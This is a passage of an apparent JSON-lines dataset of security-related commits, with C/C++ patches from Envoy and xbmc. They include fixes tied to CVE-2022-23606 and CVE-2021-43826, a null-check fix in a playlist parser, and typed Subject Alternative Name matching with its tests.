EXPECT_CALL(*raw_request_,\n- AddHeaderToBackend(kEndpointApiUserInfo, user_info))\n+ AddHeaderToBackend(kEndpointApiUserInfo, user_info, false))\n .WillOnce(Return(utils::Status::OK));\n \n CheckAuth(context_, [](Status status) { ASSERT_TRUE(status.ok()); });\n@@ -490,8 +490,8 @@ TEST_F(CheckAuthTest, TestOKAuth) {\n }));\n EXPECT_CALL(*raw_request_, SetAuthToken(kToken)).Times(1);\n EXPECT_CALL(*raw_env_, DoRunHTTPRequest(_)).Times(0);\n- EXPECT_CALL(*raw_request_,\n- AddHeaderToBackend(kEndpointApiUserInfo, kUserInfo_kSub_kIss))\n+ EXPECT_CALL(*raw_request_, AddHeaderToBackend(kEndpointApiUserInfo,\n+ kUserInfo_kSub_kIss, false))\n .WillOnce(Return(utils::Status::OK));\n \n CheckAuth(context_, [](Status status) { ASSERT_TRUE(status.ok()); });\n@@ -513,8 +513,8 @@ TEST_F(CheckAuthTest, TestOKAuth) {\n }));\n EXPECT_CALL(*raw_request_, SetAuthToken(kToken2)).Times(1);\n EXPECT_CALL(*raw_env_, DoRunHTTPRequest(_)).Times(0);\n- EXPECT_CALL(*raw_request_,\n- AddHeaderToBackend(kEndpointApiUserInfo, kUserInfo_kSub2_kIss2))\n+ EXPECT_CALL(*raw_request_, AddHeaderToBackend(kEndpointApiUserInfo,\n+ kUserInfo_kSub2_kIss2, false))\n .WillOnce(Return(utils::Status::OK));\n \n CheckAuth(context_, [](Status status) { ASSERT_TRUE(status.ok()); });\n@@ -605,8 +605,8 @@ TEST_F(CheckAuthTest, TestNoOpenId) {\n std::map empty;\n req->OnComplete(Status::OK, std::move(empty), std::move(body));\n }));\n- EXPECT_CALL(*raw_request_,\n- AddHeaderToBackend(kEndpointApiUserInfo, kUserInfo_kSub_kIss2))\n+ EXPECT_CALL(*raw_request_, AddHeaderToBackend(kEndpointApiUserInfo,\n+ kUserInfo_kSub_kIss2, false))\n .WillOnce(Return(utils::Status::OK));\n \n CheckAuth(context_, [](Status status) { ASSERT_TRUE(status.ok()); });", "sections": [{"section": "@@ -458,7 +458,7 @@ void CheckAuthTest::TestValidToken(const std::string &auth_token,\n }));\n std::cout << \"need be replaced: \" << user_info << std::endl;\n EXPECT_CALL(*raw_request_,\n- AddHeaderToBackend(kEndpointApiUserInfo, user_info))\n+ AddHeaderToBackend(kEndpointApiUserInfo, user_info, false))\n .WillOnce(Return(utils::Status::OK));\n \n CheckAuth(context_, [](Status status) { ASSERT_TRUE(status.ok()); });\n", "related": false}, {"section": "@@ -490,8 +490,8 @@ TEST_F(CheckAuthTest, TestOKAuth) {\n }));\n EXPECT_CALL(*raw_request_, SetAuthToken(kToken)).Times(1);\n EXPECT_CALL(*raw_env_, DoRunHTTPRequest(_)).Times(0);\n- EXPECT_CALL(*raw_request_,\n- AddHeaderToBackend(kEndpointApiUserInfo, kUserInfo_kSub_kIss))\n+ EXPECT_CALL(*raw_request_, AddHeaderToBackend(kEndpointApiUserInfo,\n+ kUserInfo_kSub_kIss, false))\n .WillOnce(Return(utils::Status::OK));\n \n CheckAuth(context_, [](Status status) { ASSERT_TRUE(status.ok()); });\n", "related": false}, {"section": "@@ -513,8 +513,8 @@ TEST_F(CheckAuthTest, TestOKAuth) {\n }));\n EXPECT_CALL(*raw_request_, SetAuthToken(kToken2)).Times(1);\n EXPECT_CALL(*raw_env_, DoRunHTTPRequest(_)).Times(0);\n- EXPECT_CALL(*raw_request_,\n- AddHeaderToBackend(kEndpointApiUserInfo, kUserInfo_kSub2_kIss2))\n+ EXPECT_CALL(*raw_request_, AddHeaderToBackend(kEndpointApiUserInfo,\n+ kUserInfo_kSub2_kIss2, false))\n .WillOnce(Return(utils::Status::OK));\n \n CheckAuth(context_, [](Status status) { ASSERT_TRUE(status.ok()); });\n", "related": false}, {"section": "@@ -605,8 +605,8 @@ TEST_F(CheckAuthTest, TestNoOpenId) {\n std::map empty;\n req->OnComplete(Status::OK, std::move(empty), std::move(body));\n }));\n- EXPECT_CALL(*raw_request_,\n- AddHeaderToBackend(kEndpointApiUserInfo, kUserInfo_kSub_kIss2))\n+ EXPECT_CALL(*raw_request_, AddHeaderToBackend(kEndpointApiUserInfo,\n+ kUserInfo_kSub_kIss2, false))\n .WillOnce(Return(utils::Status::OK));\n \n CheckAuth(context_, [](Status status) { ASSERT_TRUE(status.ok()); });", "related": false}]} +{"owner": "xbmc", "repo": "xbmc", "language": "C++", "file_name": "xbmc/playlists/PlayListPLS.cpp", "commit_id": "48730b64494798705d46dfccc4029bd36d072df3", "commit_message": "Merge pull request #20306 from fuzzard/fix_20305\n\n[Playlist] dont use istream directly to a tinyxml structure", "patch": "@@ -289,8 +289,9 @@ bool CPlayListASX::LoadData(std::istream& stream)\n }\n else\n {\n+ std::string asxstream(std::istreambuf_iterator(stream), {});\n CXBMCTinyXML xmlDoc;\n- stream >> xmlDoc;\n+ xmlDoc.Parse(asxstream, TIXML_DEFAULT_ENCODING);\n \n if (xmlDoc.Error())\n {\n@@ -300,6 +301,9 @@ bool CPlayListASX::LoadData(std::istream& stream)\n \n TiXmlElement *pRootElement = xmlDoc.RootElement();\n \n+ if (!pRootElement)\n+ return false;\n+\n // lowercase every element\n TiXmlNode *pNode = pRootElement;\n TiXmlNode *pChild = NULL;", "sections": [{"section": "@@ -289,8 +289,9 @@ bool CPlayListASX::LoadData(std::istream& stream)\n }\n else\n {\n+ std::string asxstream(std::istreambuf_iterator(stream), {});\n CXBMCTinyXML xmlDoc;\n- stream >> xmlDoc;\n+ xmlDoc.Parse(asxstream, TIXML_DEFAULT_ENCODING);\n \n if (xmlDoc.Error())\n {\n", "related": false}, {"section": "@@ -300,6 +301,9 @@ bool CPlayListASX::LoadData(std::istream& stream)\n \n TiXmlElement *pRootElement = xmlDoc.RootElement();\n \n+ if (!pRootElement)\n+ return false;\n+\n // lowercase every element\n TiXmlNode *pNode = pRootElement;\n TiXmlNode *pChild = NULL;", "related": false}]} +{"owner": "envoyproxy", "repo": "envoy", "language": "C", "file_name": "source/common/conn_pool/conn_pool_base.cc", "commit_id": "4b6dd3b53cd5c6d4d4df378a2fc62c1707522b31", "commit_message": "CVE-2022-23606\n\nAvoid closing other connections to prevent deep recursion when a large number of idle connections are closed at the start of a pool drain, when a connection is closed.\n\nSigned-off-by: Yan Avlasov ", "patch": "@@ -1,6 +1,7 @@\n #include \"source/common/conn_pool/conn_pool_base.h\"\n \n #include \"source/common/common/assert.h\"\n+#include \"source/common/common/debug_recursion_checker.h\"\n #include \"source/common/network/transport_socket_options_impl.h\"\n #include \"source/common/runtime/runtime_features.h\"\n #include \"source/common/stats/timespan_impl.h\"\n@@ -349,6 +350,8 @@ void ConnPoolImplBase::transitionActiveClientState(ActiveClient& client,\n void ConnPoolImplBase::addIdleCallbackImpl(Instance::IdleCb cb) { idle_callbacks_.push_back(cb); }\n \n void ConnPoolImplBase::closeIdleConnectionsForDrainingPool() {\n+ Common::AutoDebugRecursionChecker assert_not_in(recursion_checker_);\n+\n // Create a separate list of elements to close to avoid mutate-while-iterating problems.\n std::list to_close;\n \n@@ -403,11 +406,7 @@ bool ConnPoolImplBase::isIdleImpl() const {\n connecting_clients_.empty();\n }\n \n-void ConnPoolImplBase::checkForIdleAndCloseIdleConnsIfDraining() {\n- if (is_draining_for_deletion_) {\n- closeIdleConnectionsForDrainingPool();\n- }\n-\n+void ConnPoolImplBase::checkForIdleAndNotify() {\n if (isIdleImpl()) {\n ENVOY_LOG(debug, \"invoking idle callbacks - is_draining_for_deletion_={}\",\n is_draining_for_deletion_);\n@@ -417,6 +416,14 @@ void ConnPoolImplBase::checkForIdleAndCloseIdleConnsIfDraining() {\n }\n }\n \n+void ConnPoolImplBase::checkForIdleAndCloseIdleConnsIfDraining() {\n+ if (is_draining_for_deletion_) {\n+ closeIdleConnectionsForDrainingPool();\n+ }\n+\n+ checkForIdleAndNotify();\n+}\n+\n void ConnPoolImplBase::onConnectionEvent(ActiveClient& client, absl::string_view failure_reason,\n Network::ConnectionEvent event) {\n if (client.state() == ActiveClient::State::CONNECTING) {\n@@ -487,7 +494,15 @@ void ConnPoolImplBase::onConnectionEvent(ActiveClient& client, absl::string_view\n \n dispatcher_.deferredDelete(client.removeFromList(owningList(client.state())));\n \n- checkForIdleAndCloseIdleConnsIfDraining();\n+ // Check if the pool transitioned to idle state after removing closed client\n+ // from one of the client tracking lists.\n+ // There is no need to check if other connections are idle in a draining pool\n+ // because the pool will close all idle connection when it is starting to\n+ // drain.\n+ // Trying to close other connections here can lead to deep recursion when\n+ // a large number idle connections are closed at the start of pool drain.\n+ // See CdsIntegrationTest.CdsClusterDownWithLotsOfIdleConnections for an example.\n+ checkForIdleAndNotify();\n \n client.setState(ActiveClient::State::CLOSED);\n ", "sections": [{"section": "@@ -1,6 +1,7 @@\n #include \"source/common/conn_pool/conn_pool_base.h\"\n \n #include \"source/common/common/assert.h\"\n+#include \"source/common/common/debug_recursion_checker.h\"\n #include \"source/common/network/transport_socket_options_impl.h\"\n #include \"source/common/runtime/runtime_features.h\"\n #include \"source/common/stats/timespan_impl.h\"\n", "related": false}, {"section": "@@ -349,6 +350,8 @@ void ConnPoolImplBase::transitionActiveClientState(ActiveClient& client,\n void ConnPoolImplBase::addIdleCallbackImpl(Instance::IdleCb cb) { idle_callbacks_.push_back(cb); }\n \n void ConnPoolImplBase::closeIdleConnectionsForDrainingPool() {\n+ Common::AutoDebugRecursionChecker assert_not_in(recursion_checker_);\n+\n // Create a separate list of elements to close to avoid mutate-while-iterating problems.\n std::list to_close;\n \n", "related": false}, {"section": "@@ -403,11 +406,7 @@ bool ConnPoolImplBase::isIdleImpl() const {\n connecting_clients_.empty();\n }\n \n-void ConnPoolImplBase::checkForIdleAndCloseIdleConnsIfDraining() {\n- if (is_draining_for_deletion_) {\n- closeIdleConnectionsForDrainingPool();\n- }\n-\n+void ConnPoolImplBase::checkForIdleAndNotify() {\n if (isIdleImpl()) {\n ENVOY_LOG(debug, \"invoking idle callbacks - is_draining_for_deletion_={}\",\n is_draining_for_deletion_);\n", "related": false}, {"section": "@@ -417,6 +416,14 @@ void ConnPoolImplBase::checkForIdleAndCloseIdleConnsIfDraining() {\n }\n }\n \n+void ConnPoolImplBase::checkForIdleAndCloseIdleConnsIfDraining() {\n+ if (is_draining_for_deletion_) {\n+ closeIdleConnectionsForDrainingPool();\n+ }\n+\n+ checkForIdleAndNotify();\n+}\n+\n void ConnPoolImplBase::onConnectionEvent(ActiveClient& client, absl::string_view failure_reason,\n Network::ConnectionEvent event) {\n if (client.state() == ActiveClient::State::CONNECTING) {\n", "related": false}, {"section": "@@ -487,7 +494,15 @@ void ConnPoolImplBase::onConnectionEvent(ActiveClient& client, absl::string_view\n \n dispatcher_.deferredDelete(client.removeFromList(owningList(client.state())));\n \n- checkForIdleAndCloseIdleConnsIfDraining();\n+ // Check if the pool transitioned to idle state after removing closed client\n+ // from one of the client tracking lists.\n+ // There is no need to check if other connections are idle in a draining pool\n+ // because the pool will close all idle connection when it is starting to\n+ // drain.\n+ // Trying to close other connections here can lead to deep recursion when\n+ // a large number idle connections are closed at the start of pool drain.\n+ // See CdsIntegrationTest.CdsClusterDownWithLotsOfIdleConnections for an example.\n+ checkForIdleAndNotify();\n \n client.setState(ActiveClient::State::CLOSED);\n ", "related": false}]} +{"owner": "envoyproxy", "repo": "envoy", "language": "C", "file_name": "test/integration/tcp_tunneling_integration_test.cc", "commit_id": "ce0ae309057a216aba031aff81c445c90c6ef145", "commit_message": "CVE-2021-43826\n\nSigned-off-by: Yan Avlasov ", "patch": "@@ -816,6 +816,69 @@ TEST_P(TcpTunnelingIntegrationTest, ResetStreamTest) {\n tcp_client_->waitForDisconnect();\n }\n \n+TEST_P(TcpTunnelingIntegrationTest, UpstreamConnectingDownstreamDisconnect) {\n+ if (upstreamProtocol() == Http::CodecType::HTTP1) {\n+ return;\n+ }\n+\n+#if defined(WIN32)\n+ // TODO(ggreenway): figure out why this test fails on Windows and remove this disable.\n+ // Failing tests:\n+ // IpAndHttpVersions/TcpTunnelingIntegrationTest.UpstreamConnectingDownstreamDisconnect/IPv4_HttpDownstream_Http3UpstreamBareHttp2,\n+ // IpAndHttpVersions/TcpTunnelingIntegrationTest.UpstreamConnectingDownstreamDisconnect/IPv6_HttpDownstream_Http2UpstreamWrappedHttp2,\n+ // Times out at the end of the test on `ASSERT_TRUE(upstream_request_->waitForReset());`.\n+ return;\n+#endif\n+\n+ config_helper_.addConfigModifier([&](envoy::config::bootstrap::v3::Bootstrap& bootstrap) -> void {\n+ envoy::extensions::filters::network::tcp_proxy::v3::TcpProxy proxy_config;\n+ proxy_config.set_stat_prefix(\"tcp_stats\");\n+ proxy_config.set_cluster(\"cluster_0\");\n+ proxy_config.mutable_tunneling_config()->set_hostname(\"host.com:80\");\n+\n+ // Enable retries. The crash is due to retrying after the downstream connection is closed, which\n+ // can't occur if retries are not enabled.\n+ proxy_config.mutable_max_connect_attempts()->set_value(2);\n+\n+ auto* listeners = bootstrap.mutable_static_resources()->mutable_listeners();\n+ for (auto& listener : *listeners) {\n+ if (listener.name() != \"tcp_proxy\") {\n+ continue;\n+ }\n+ auto* filter_chain = listener.mutable_filter_chains(0);\n+ auto* filter = filter_chain->mutable_filters(0);\n+ filter->mutable_typed_config()->PackFrom(proxy_config);\n+\n+ // Use TLS because it will respond to a TCP half-close during handshake by closing the\n+ // connection.\n+ envoy::extensions::transport_sockets::tls::v3::DownstreamTlsContext tls_context;\n+ ConfigHelper::initializeTls({}, *tls_context.mutable_common_tls_context());\n+ filter_chain->mutable_transport_socket()->set_name(\"envoy.transport_sockets.tls\");\n+ filter_chain->mutable_transport_socket()->mutable_typed_config()->PackFrom(tls_context);\n+\n+ break;\n+ }\n+ });\n+\n+ enableHalfClose(false);\n+ initialize();\n+\n+ IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort(\"tcp_proxy\"));\n+\n+ // Wait for the request for a connection, but don't send a response back yet. This ensures that\n+ // tcp_proxy is stuck in `connecting_`.\n+ ASSERT_TRUE(fake_upstreams_[0]->waitForHttpConnection(*dispatcher_, fake_upstream_connection_));\n+ ASSERT_TRUE(fake_upstream_connection_->waitForNewStream(*dispatcher_, upstream_request_));\n+ ASSERT_TRUE(upstream_request_->waitForHeadersComplete());\n+\n+ // Close the client connection. The TLS transport socket will detect this even while\n+ // `readDisable(true)` on the connection, and will raise a `RemoteClose` event.\n+ tcp_client->close();\n+\n+ ASSERT_TRUE(upstream_request_->waitForReset());\n+ ASSERT_TRUE(fake_upstream_connection_->close());\n+}\n+\n TEST_P(TcpTunnelingIntegrationTest, TestIdletimeoutWithLargeOutstandingData) {\n enableHalfClose(false);\n config_helper_.setBufferLimits(1024, 1024);", "sections": [{"section": "@@ -816,6 +816,69 @@ TEST_P(TcpTunnelingIntegrationTest, ResetStreamTest) {\n tcp_client_->waitForDisconnect();\n }\n \n+TEST_P(TcpTunnelingIntegrationTest, UpstreamConnectingDownstreamDisconnect) {\n+ if (upstreamProtocol() == Http::CodecType::HTTP1) {\n+ return;\n+ }\n+\n+#if defined(WIN32)\n+ // TODO(ggreenway): figure out why this test fails on Windows and remove this disable.\n+ // Failing tests:\n+ // IpAndHttpVersions/TcpTunnelingIntegrationTest.UpstreamConnectingDownstreamDisconnect/IPv4_HttpDownstream_Http3UpstreamBareHttp2,\n+ // IpAndHttpVersions/TcpTunnelingIntegrationTest.UpstreamConnectingDownstreamDisconnect/IPv6_HttpDownstream_Http2UpstreamWrappedHttp2,\n+ // Times out at the end of the test on `ASSERT_TRUE(upstream_request_->waitForReset());`.\n+ return;\n+#endif\n+\n+ config_helper_.addConfigModifier([&](envoy::config::bootstrap::v3::Bootstrap& bootstrap) -> void {\n+ envoy::extensions::filters::network::tcp_proxy::v3::TcpProxy proxy_config;\n+ proxy_config.set_stat_prefix(\"tcp_stats\");\n+ proxy_config.set_cluster(\"cluster_0\");\n+ proxy_config.mutable_tunneling_config()->set_hostname(\"host.com:80\");\n+\n+ // Enable retries. The crash is due to retrying after the downstream connection is closed, which\n+ // can't occur if retries are not enabled.\n+ proxy_config.mutable_max_connect_attempts()->set_value(2);\n+\n+ auto* listeners = bootstrap.mutable_static_resources()->mutable_listeners();\n+ for (auto& listener : *listeners) {\n+ if (listener.name() != \"tcp_proxy\") {\n+ continue;\n+ }\n+ auto* filter_chain = listener.mutable_filter_chains(0);\n+ auto* filter = filter_chain->mutable_filters(0);\n+ filter->mutable_typed_config()->PackFrom(proxy_config);\n+\n+ // Use TLS because it will respond to a TCP half-close during handshake by closing the\n+ // connection.\n+ envoy::extensions::transport_sockets::tls::v3::DownstreamTlsContext tls_context;\n+ ConfigHelper::initializeTls({}, *tls_context.mutable_common_tls_context());\n+ filter_chain->mutable_transport_socket()->set_name(\"envoy.transport_sockets.tls\");\n+ filter_chain->mutable_transport_socket()->mutable_typed_config()->PackFrom(tls_context);\n+\n+ break;\n+ }\n+ });\n+\n+ enableHalfClose(false);\n+ initialize();\n+\n+ IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort(\"tcp_proxy\"));\n+\n+ // Wait for the request for a connection, but don't send a response back yet. This ensures that\n+ // tcp_proxy is stuck in `connecting_`.\n+ ASSERT_TRUE(fake_upstreams_[0]->waitForHttpConnection(*dispatcher_, fake_upstream_connection_));\n+ ASSERT_TRUE(fake_upstream_connection_->waitForNewStream(*dispatcher_, upstream_request_));\n+ ASSERT_TRUE(upstream_request_->waitForHeadersComplete());\n+\n+ // Close the client connection. The TLS transport socket will detect this even while\n+ // `readDisable(true)` on the connection, and will raise a `RemoteClose` event.\n+ tcp_client->close();\n+\n+ ASSERT_TRUE(upstream_request_->waitForReset());\n+ ASSERT_TRUE(fake_upstream_connection_->close());\n+}\n+\n TEST_P(TcpTunnelingIntegrationTest, TestIdletimeoutWithLargeOutstandingData) {\n enableHalfClose(false);\n config_helper_.setBufferLimits(1024, 1024);", "related": false}]} +{"owner": "envoyproxy", "repo": "envoy", "language": "C", "file_name": "source/common/ssl/certificate_validation_context_config_impl.cc", "commit_id": "bb95af848c939cfe5b5ee33c5b1770558077e64e", "commit_message": "Specify type for matching Subject Alternative Name. (#18628)\n\n\r\nSigned-off-by: Pradeep Rao ", "patch": "@@ -1,10 +1,13 @@\n #include \"source/common/ssl/certificate_validation_context_config_impl.h\"\n \n #include \"envoy/common/exception.h\"\n+#include \"envoy/config/core/v3/extension.pb.h\"\n #include \"envoy/extensions/transport_sockets/tls/v3/cert.pb.h\"\n+#include \"envoy/extensions/transport_sockets/tls/v3/common.pb.h\"\n \n #include \"source/common/common/empty_string.h\"\n #include \"source/common/common/fmt.h\"\n+#include \"source/common/common/logger.h\"\n #include \"source/common/config/datasource.h\"\n \n namespace Envoy {\n@@ -22,8 +25,7 @@ CertificateValidationContextConfigImpl::CertificateValidationContextConfigImpl(\n certificate_revocation_list_path_(\n Config::DataSource::getPath(config.crl())\n .value_or(certificate_revocation_list_.empty() ? EMPTY_STRING : INLINE_STRING)),\n- subject_alt_name_matchers_(config.match_subject_alt_names().begin(),\n- config.match_subject_alt_names().end()),\n+ subject_alt_name_matchers_(getSubjectAltNameMatchers(config)),\n verify_certificate_hash_list_(config.verify_certificate_hash().begin(),\n config.verify_certificate_hash().end()),\n verify_certificate_spki_list_(config.verify_certificate_spki().begin(),\n@@ -51,5 +53,34 @@ CertificateValidationContextConfigImpl::CertificateValidationContextConfigImpl(\n }\n }\n \n+std::vector\n+CertificateValidationContextConfigImpl::getSubjectAltNameMatchers(\n+ const envoy::extensions::transport_sockets::tls::v3::CertificateValidationContext& config) {\n+ if (!config.match_typed_subject_alt_names().empty() &&\n+ !config.match_subject_alt_names().empty()) {\n+ throw EnvoyException(\"SAN-based verification using both match_typed_subject_alt_names and \"\n+ \"the deprecated match_subject_alt_names is not allowed\");\n+ }\n+ std::vector\n+ subject_alt_name_matchers(config.match_typed_subject_alt_names().begin(),\n+ config.match_typed_subject_alt_names().end());\n+ // Handle deprecated string type san matchers without san type specified, by\n+ // creating a matcher for each supported type.\n+ for (const envoy::type::matcher::v3::StringMatcher& matcher : config.match_subject_alt_names()) {\n+ static constexpr std::array<\n+ envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::SanType, 4>\n+ san_types{envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::DNS,\n+ envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::URI,\n+ envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::EMAIL,\n+ envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::IP_ADDRESS};\n+ for (const auto san_type : san_types) {\n+ subject_alt_name_matchers.emplace_back();\n+ subject_alt_name_matchers.back().set_san_type(san_type);\n+ *subject_alt_name_matchers.back().mutable_matcher() = matcher;\n+ }\n+ }\n+ return subject_alt_name_matchers;\n+}\n+\n } // namespace Ssl\n } // namespace Envoy", "sections": [{"section": "@@ -1,10 +1,13 @@\n #include \"source/common/ssl/certificate_validation_context_config_impl.h\"\n \n #include \"envoy/common/exception.h\"\n+#include \"envoy/config/core/v3/extension.pb.h\"\n #include \"envoy/extensions/transport_sockets/tls/v3/cert.pb.h\"\n+#include \"envoy/extensions/transport_sockets/tls/v3/common.pb.h\"\n \n #include \"source/common/common/empty_string.h\"\n #include \"source/common/common/fmt.h\"\n+#include \"source/common/common/logger.h\"\n #include \"source/common/config/datasource.h\"\n \n namespace Envoy {\n", "related": false}, {"section": "@@ -22,8 +25,7 @@ CertificateValidationContextConfigImpl::CertificateValidationContextConfigImpl(\n certificate_revocation_list_path_(\n Config::DataSource::getPath(config.crl())\n .value_or(certificate_revocation_list_.empty() ? EMPTY_STRING : INLINE_STRING)),\n- subject_alt_name_matchers_(config.match_subject_alt_names().begin(),\n- config.match_subject_alt_names().end()),\n+ subject_alt_name_matchers_(getSubjectAltNameMatchers(config)),\n verify_certificate_hash_list_(config.verify_certificate_hash().begin(),\n config.verify_certificate_hash().end()),\n verify_certificate_spki_list_(config.verify_certificate_spki().begin(),\n", "related": false}, {"section": "@@ -51,5 +53,34 @@ CertificateValidationContextConfigImpl::CertificateValidationContextConfigImpl(\n }\n }\n \n+std::vector\n+CertificateValidationContextConfigImpl::getSubjectAltNameMatchers(\n+ const envoy::extensions::transport_sockets::tls::v3::CertificateValidationContext& config) {\n+ if (!config.match_typed_subject_alt_names().empty() &&\n+ !config.match_subject_alt_names().empty()) {\n+ throw EnvoyException(\"SAN-based verification using both match_typed_subject_alt_names and \"\n+ \"the deprecated match_subject_alt_names is not allowed\");\n+ }\n+ std::vector\n+ subject_alt_name_matchers(config.match_typed_subject_alt_names().begin(),\n+ config.match_typed_subject_alt_names().end());\n+ // Handle deprecated string type san matchers without san type specified, by\n+ // creating a matcher for each supported type.\n+ for (const envoy::type::matcher::v3::StringMatcher& matcher : config.match_subject_alt_names()) {\n+ static constexpr std::array<\n+ envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::SanType, 4>\n+ san_types{envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::DNS,\n+ envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::URI,\n+ envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::EMAIL,\n+ envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::IP_ADDRESS};\n+ for (const auto san_type : san_types) {\n+ subject_alt_name_matchers.emplace_back();\n+ subject_alt_name_matchers.back().set_san_type(san_type);\n+ *subject_alt_name_matchers.back().mutable_matcher() = matcher;\n+ }\n+ }\n+ return subject_alt_name_matchers;\n+}\n+\n } // namespace Ssl\n } // namespace Envoy", "related": false}]} +{"owner": "envoyproxy", "repo": "envoy", "language": "C", "file_name": "test/common/secret/sds_api_test.cc", "commit_id": "bb95af848c939cfe5b5ee33c5b1770558077e64e", "commit_message": "Specify type for matching Subject Alternative Name. (#18628)\n\n\r\nSigned-off-by: Pradeep Rao ", "patch": "@@ -665,7 +665,10 @@ TEST_F(SdsApiTest, DefaultCertificateValidationContextTest) {\n dynamic_cvc->set_allow_expired_certificate(false);\n dynamic_cvc->mutable_trusted_ca()->set_filename(TestEnvironment::substitute(\n \"{{ test_rundir }}/test/extensions/transport_sockets/tls/test_data/ca_cert.pem\"));\n- dynamic_cvc->add_match_subject_alt_names()->set_exact(\"second san\");\n+ auto* san_matcher = dynamic_cvc->add_match_typed_subject_alt_names();\n+ san_matcher->mutable_matcher()->set_exact(\"second san\");\n+ san_matcher->set_san_type(\n+ envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::DNS);\n const std::string dynamic_verify_certificate_spki =\n \"QGJRPdmx/r5EGOFLb2MTiZp2isyC0Whht7iazhzXaCM=\";\n dynamic_cvc->add_verify_certificate_spki(dynamic_verify_certificate_spki);\n@@ -681,7 +684,10 @@ TEST_F(SdsApiTest, DefaultCertificateValidationContextTest) {\n envoy::extensions::transport_sockets::tls::v3::CertificateValidationContext default_cvc;\n default_cvc.set_allow_expired_certificate(true);\n default_cvc.mutable_trusted_ca()->set_inline_bytes(\"fake trusted ca\");\n- default_cvc.add_match_subject_alt_names()->set_exact(\"first san\");\n+ san_matcher = default_cvc.add_match_typed_subject_alt_names();\n+ san_matcher->mutable_matcher()->set_exact(\"first san\");\n+ san_matcher->set_san_type(\n+ envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::DNS);\n default_cvc.add_verify_certificate_hash(default_verify_certificate_hash);\n envoy::extensions::transport_sockets::tls::v3::CertificateValidationContext merged_cvc =\n default_cvc;\n@@ -697,8 +703,12 @@ TEST_F(SdsApiTest, DefaultCertificateValidationContextTest) {\n cvc_config.caCert());\n // Verify that repeated fields are concatenated.\n EXPECT_EQ(2, cvc_config.subjectAltNameMatchers().size());\n- EXPECT_EQ(\"first san\", cvc_config.subjectAltNameMatchers()[0].exact());\n- EXPECT_EQ(\"second san\", cvc_config.subjectAltNameMatchers()[1].exact());\n+ EXPECT_EQ(\"first san\", cvc_config.subjectAltNameMatchers()[0].matcher().exact());\n+ EXPECT_EQ(envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::DNS,\n+ cvc_config.subjectAltNameMatchers()[0].san_type());\n+ EXPECT_EQ(\"second san\", cvc_config.subjectAltNameMatchers()[1].matcher().exact());\n+ EXPECT_EQ(envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::DNS,\n+ cvc_config.subjectAltNameMatchers()[1].san_type());\n // Verify that if dynamic CertificateValidationContext does not set certificate hash list, the new\n // secret contains hash list from default CertificateValidationContext.\n EXPECT_EQ(1, cvc_config.verifyCertificateHashList().size());", "sections": [{"section": "@@ -665,7 +665,10 @@ TEST_F(SdsApiTest, DefaultCertificateValidationContextTest) {\n dynamic_cvc->set_allow_expired_certificate(false);\n dynamic_cvc->mutable_trusted_ca()->set_filename(TestEnvironment::substitute(\n \"{{ test_rundir }}/test/extensions/transport_sockets/tls/test_data/ca_cert.pem\"));\n- dynamic_cvc->add_match_subject_alt_names()->set_exact(\"second san\");\n+ auto* san_matcher = dynamic_cvc->add_match_typed_subject_alt_names();\n+ san_matcher->mutable_matcher()->set_exact(\"second san\");\n+ san_matcher->set_san_type(\n+ envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::DNS);\n const std::string dynamic_verify_certificate_spki =\n \"QGJRPdmx/r5EGOFLb2MTiZp2isyC0Whht7iazhzXaCM=\";\n dynamic_cvc->add_verify_certificate_spki(dynamic_verify_certificate_spki);\n", "related": false}, {"section": "@@ -681,7 +684,10 @@ TEST_F(SdsApiTest, DefaultCertificateValidationContextTest) {\n envoy::extensions::transport_sockets::tls::v3::CertificateValidationContext default_cvc;\n default_cvc.set_allow_expired_certificate(true);\n default_cvc.mutable_trusted_ca()->set_inline_bytes(\"fake trusted ca\");\n- default_cvc.add_match_subject_alt_names()->set_exact(\"first san\");\n+ san_matcher = default_cvc.add_match_typed_subject_alt_names();\n+ san_matcher->mutable_matcher()->set_exact(\"first san\");\n+ san_matcher->set_san_type(\n+ envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::DNS);\n default_cvc.add_verify_certificate_hash(default_verify_certificate_hash);\n envoy::extensions::transport_sockets::tls::v3::CertificateValidationContext merged_cvc =\n default_cvc;\n", "related": false}, {"section": "@@ -697,8 +703,12 @@ TEST_F(SdsApiTest, DefaultCertificateValidationContextTest) {\n cvc_config.caCert());\n // Verify that repeated fields are concatenated.\n EXPECT_EQ(2, cvc_config.subjectAltNameMatchers().size());\n- EXPECT_EQ(\"first san\", cvc_config.subjectAltNameMatchers()[0].exact());\n- EXPECT_EQ(\"second san\", cvc_config.subjectAltNameMatchers()[1].exact());\n+ EXPECT_EQ(\"first san\", cvc_config.subjectAltNameMatchers()[0].matcher().exact());\n+ EXPECT_EQ(envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::DNS,\n+ cvc_config.subjectAltNameMatchers()[0].san_type());\n+ EXPECT_EQ(\"second san\", cvc_config.subjectAltNameMatchers()[1].matcher().exact());\n+ EXPECT_EQ(envoy::extensions::transport_sockets::tls::v3::SubjectAltNameMatcher::DNS,\n+ cvc_config.subjectAltNameMatchers()[1].san_type());\n // Verify that if dynamic CertificateValidationContext does not set certificate hash list, the new\n // secret contains hash list from default CertificateValidationContext.\n EXPECT_EQ(1, cvc_config.verifyCertificateHashList().size());", "related": false}]} +{"owner": "envoyproxy", "repo": "envoy", "language": "C", "file_name": "test/extensions/transport_sockets/tls/cert_validator/test_common.h", "commit_id": "bb95af848c939cfe5b5ee33c5b1770558077e64e", "commit_message": "Specify type for matching Subject Alternative Name. (#18628)\n\n\r\nSigned-off-by: Pradeep Rao ", "patch": 